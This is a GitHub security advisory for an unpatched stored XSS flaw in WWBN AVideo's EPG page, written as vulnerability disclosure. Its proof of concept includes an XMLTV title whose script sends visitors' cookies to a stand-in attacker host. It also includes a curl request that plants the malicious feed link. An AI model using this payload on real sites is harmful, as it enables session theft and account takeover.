GitHub Security Advisory: GHSA-rqp3-gf5h-mrqx
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page

Details:
## Summary

AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's `epg_link` to a malicious XML file whose `<title>` elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.

## Details

The vulnerability spans three files in the data flow:

**1. Entry point — `objects/videoAddNew.json.php:117-119`**

The `epg_link` parameter is stored with only a URL format check:

```php
if (empty($_POST['epg_link']) || isValidURL($_POST['epg_link'])) {
    $obj->setEpg_link($_POST['epg_link']);
}
```

This requires `User::canUpload()` (line 10) — not admin, just basic upload permission.

**2. XML parsing — `objects/EpgParser.php:321`**

Programme titles are extracted as raw strings with no sanitization:

```php
$this->epgdata[$grouper ?: 0] = [
    'title' => (string) $element->title,
    // ...
];
```

**3. Sink — `plugin/PlayerSkins/epg.php:343-351`**

Programme titles are interpolated directly into HTML output without `htmlspecialchars()` or any escaping:

```php
} else if ($width <= $minimumWidth1Dot) {
    $text = "<abbr title=\"{$program['title']}\">.</abbr>";          // attribute injection
} else if ($width <= $minimumWidth) {
    $text = "<abbr title=\"{$program['title']}\"><small ...";        // attribute injection
} else if ($width <= $minimumSmallFont) {
    $text = "<small class=\"small-font\">{$program['title']}<div>..."; // HTML injection
} else {
    $text = "{$program['title']}<div>...";                            // HTML injection
}
```

Notably, the channel `display-name` **is** sanitized via `safeString()` at line 151, but programme titles are not — an apparent oversight.

The EPG page (`epg.php`) requires no authentication to access, and the rendered output is cached at line 634 (`ObjectYPT::setCache`), so the XSS payload persists in cache even if the original malicious XML is later removed.

## PoC

**Step 1:** Host a malicious XMLTV file at an attacker-controlled URL:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<tv>
  <channel id="ch1">
    <display-name>Test Channel</display-name>
  </channel>
  <programme start="[PII_REDACTED]0000 +0000" stop="[PII_REDACTED]0000 +0000" channel="ch1">
    <title><![CDATA[<img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>]]></title>
  </programme>
</tv>
```

**Step 2:** Create a video with the malicious EPG link (requires upload permission):

```bash
curl -s -b 'PHPSESSID=UPLOAD_USER_SESSION' \
  'https://target.example/objects/videoAddNew.json.php' \
  -d 'title=LiveStream&videoLink=https://example.com/stream.m3u8&epg_link=https://attacker.example/evil.xml&categories_id=1'
```

**Step 3:** Any visitor (unauthenticated) browsing the EPG page triggers the XSS:

```
https://target.example/plugin/PlayerSkins/epg